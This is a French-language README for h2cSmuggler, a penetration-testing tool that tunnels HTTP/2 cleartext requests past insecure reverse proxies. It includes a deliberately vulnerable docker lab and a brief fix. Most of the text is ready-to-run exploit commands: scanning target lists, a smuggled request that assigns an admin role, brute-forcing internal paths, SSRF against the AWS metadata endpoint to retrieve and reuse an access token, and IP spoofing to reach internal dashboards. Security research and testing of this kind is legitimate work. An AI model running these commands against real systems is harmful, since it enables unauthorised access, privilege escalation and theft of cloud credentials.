
Contrebande de requêtes HTTP sur HTTP/2 en clair (h2c)
h2cSmuggler fait passer en contrebande du trafic HTTP au-delà des configurations proxy_pass non sécurisées des serveurs périphériques en établissant des communications HTTP/2 en clair (h2c) avec des serveurs back-end compatibles h2c, permettant ainsi de contourner les règles de proxy et les contrôles d'accès.
Voir mon article détaillé ci-dessous pour :
Ici : https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c
Tout point de terminaison de proxy qui transmet les en-têtes de mise à niveau h2c peut être affecté. Comme h2c est conçu pour être effectué uniquement sur des canaux en clair, la détection sur les services HTTPS donne souvent des vrais positifs.
En revanche, les services HTTP peuvent donner des faux positifs. Par exemple, les proxys activés pour h2c peuvent répondre à la mise à niveau au lieu de la transmettre à un serveur back-end h2c.
Utilisez l'option --scan-list pour tester un ou plusieurs serveurs web afin de rechercher des points de terminaison proxy_pass affectés. Envisagez d'utiliser une liste de répertoires découverts par énumération de répertoires, par exemple :
urls.txt
https://www.example.com/
https://www.example.com/api/
https://www.example.com/auth/
https://www.example.com/admin/
https://www.example.com/payments/
...omitted for brevity...
Exécutez h2cSmuggler avec la liste des points de terminaison et un nombre total de threads :
./h2csmuggler.py --scan-list urls.txt --threads 5
Ou, un test individuel peut être effectué avec :
./h2csmuggler.py -x https://www.example.com/api/ --test
Une fois que vous avez identifié un point de terminaison affecté pouvant être utilisé pour le tunneling, vous pouvez maintenant accéder ou bruteforcer des points de terminaison internes sur le serveur back-end et fournir des verbes ou en-têtes personnalisés. Dans la démo ci-dessous, nous montrons comment accéder à un point de terminaison interne /flag en utilisant le h2c smuggling pour contourner les règles de refus du proxy.
Pour corriger, ne transmettez pas les valeurs fournies par l'utilisateur pour les en-têtes Upgrade ou Connection. Voir l'article technique pour des conseils supplémentaires.
La seule dépendance est la bibliothèque Python hyper-h2 :
pip3 install h2
L'environnement de test vous permettra d'expérimenter avec h2cSmuggler dans un environnement contrôlé. docker-compose simulera trois chaînes de proxys qui mènent à un serveur back-end Golang activé pour h2c :
TCP port: Description
======== ===========
8000: HTTP h2c backend
8001: HAProxy -> h2c backend (Insecure default configuration)
8002: nginx -> h2c backend (Insecure custom configuration)
8003: Nuster -> HAProxy -> h2c backend (Insecure configuration with multiple layers of proxies)
[1] Générez les certificats et démarrez l'environnement avec docker-compose :
# Generate certs
./configs/generate-certificates.sh
# Activate services
docker-compose up
Tous les proxys refusent l'accès au point de terminaison /flag accessible sur le serveur back-end h2c. Essayons d'accéder au point de terminaison interdit via le serveur HAProxy fonctionnant sur le port 8001 :
Nous pouvons utiliser h2cSmuggler pour confirmer la configuration non sécurisée du proxy en utilisant --test (ou -t) :
Maintenant, utilisons h2cSmuggler pour effectuer une mise à niveau h2c, tunneliser notre trafic HTTP/2 à travers le proxy, et demander le point de terminaison /flag depuis le serveur back-end, contournant ainsi le contrôle d'accès du proxy :
Pour une explication plus approfondie de ce qui se passe, consultez l'article technique.
h2cSmuggler utilise une syntaxe familière de type curl pour décrire la requête smuggled :
usage: h2csmuggler.py [-h] [--scan-list SCAN_LIST] [--threads THREADS] [--upgrade-only] [-x PROXY] [-i WORDLIST] [-X REQUEST] [-d DATA] [-H HEADER] [-m MAX_TIME] [-t] [-v]
[url]
Detect and exploit insecure forwarding of h2c upgrades.
positional arguments:
url
optional arguments:
-h, --help show this help message and exit
--scan-list SCAN_LIST
list of URLs for scanning
--threads THREADS # of threads (for use with --scan-list)
--upgrade-only drop HTTP2-Settings from outgoing Connection header
-x PROXY, --proxy PROXY
proxy server to try to bypass
-i WORDLIST, --wordlist WORDLIST
list of paths to bruteforce
-X REQUEST, --request REQUEST
smuggled verb
-d DATA, --data DATA smuggled data
-H HEADER, --header HEADER
smuggled headers
-m MAX_TIME, --max-time MAX_TIME
socket timeout in seconds (type: float; default 10)
-t, --test test a single proxy server
-v, --verbose
1. Scan d'une liste d'URLs (par exemple, https://example.com:443/api/, https://example.com:443/payments, https://sub.example.com:443/) pour identifier les points de terminaison proxy_pass susceptibles de smuggling (soyez prudent avec le nombre de threads lors du test d'un seul serveur) :
./h2csmuggler.py --scan-list urls.txt --threads 5
Ou, pour rediriger la sortie vers un fichier. Utilisez stderr (2>) et stdout (1>). Le flux stderr contient les erreurs (par exemple, problèmes de handshake/timeout SSL), tandis que stdout contient les résultats.
./h2csmuggler.py --scan-list urls.txt --threads 5 2>errors.txt 1>results.txt
2. Envoi d'une requête POST smuggled via https://edgeserver vers un point de terminaison interne :
./h2csmuggler.py -x https://edgeserver -X POST -d '{"user":128457 "role": "admin"}' -H "Content-Type: application/json" -H "X-SYSTEM-USER: true" http://backend/api/internal/user/permissions
3. Bruteforce de points de terminaison internes (en utilisant le multiplexage HTTP/2), où dirs.txt représente une liste de chemins (par exemple, /api/, /admin/).
/h2csmuggler.py -x https://edgeserver -i dirs.txt http://localhost/
4. Exploitation de la SSRF via l'en-tête Host sur le smuggling h2c (par exemple, AWS metadata IMDSv2) :
Récupération du jeton :
./h2csmuggler.py -x https://edgeserver -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token`
Transmission du jeton :
./h2csmuggler.py -x https://edgeserver -H "x-aws-ec2-metadata-token: TOKEN" http://169.254.169.254/latest/meta-data/
5. Usurpation d'une adresse IP avec l'en-tête X-Forwarded-For pour accéder à un tableau de bord interne :
./h2csmuggler.py -x https://edgeserver -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 172.16.0.1" http://backend/system/dashboard
Q : Pourquoi y a-t-il plusieurs réponses du serveur ?
R : La première réponse est la réponse de données à la requête de mise à niveau originale initiée en HTTP/1.1, conformément au protocole de mise à niveau h2c. Les réponses suivantes proviennent de la requête smuggled.
Q : J'ai reçu un "101 Switching Protocols" mais je ne reçois aucune donnée du serveur distant.
R : J'ai observé ce comportement dans mes tests et j'ai constaté que certains serveurs répondent avec un statut 101 même s'ils ne supportent pas réellement HTTP/2.
Q : L'établissement d'un tunnel h2c est-il toujours une vulnérabilité ?
R : Non. Considérez un équilibreur de charge TCP qui termine TLS (par exemple, ELB) et qui proxy directement vers un serveur back-end compatible h2c. Bien que vous puissiez établir une connexion h2c, s'il n'y a pas de contrôles d'accès en place, il n'y a pas de contrôles d'accès à contourner, ni de privilège acquis en initiant ce tunnel.
Q : Pourquoi l'URI de la requête smuggled nécessite-t-elle un schéma ? À quoi sert-il ?
R : Le protocole HTTP/2 nécessite un pseudo-en-tête :scheme. Pour notre cas d'utilisation, http vs https n'a probablement pas d'importance. Pour plus de détails, voir HTTP/2 RFC: Section 8.1.2.3.
Q : Que dois-je utiliser comme nom d'hôte pour le serveur back-end ?
R : Il est préférable de commencer par le même nom d'hôte que le serveur périphérique. Ensuite, essayez d'expérimenter avec d'autres valeurs de nom d'hôte.
Twitter : @theBumbleSec
GitHub : the-bumble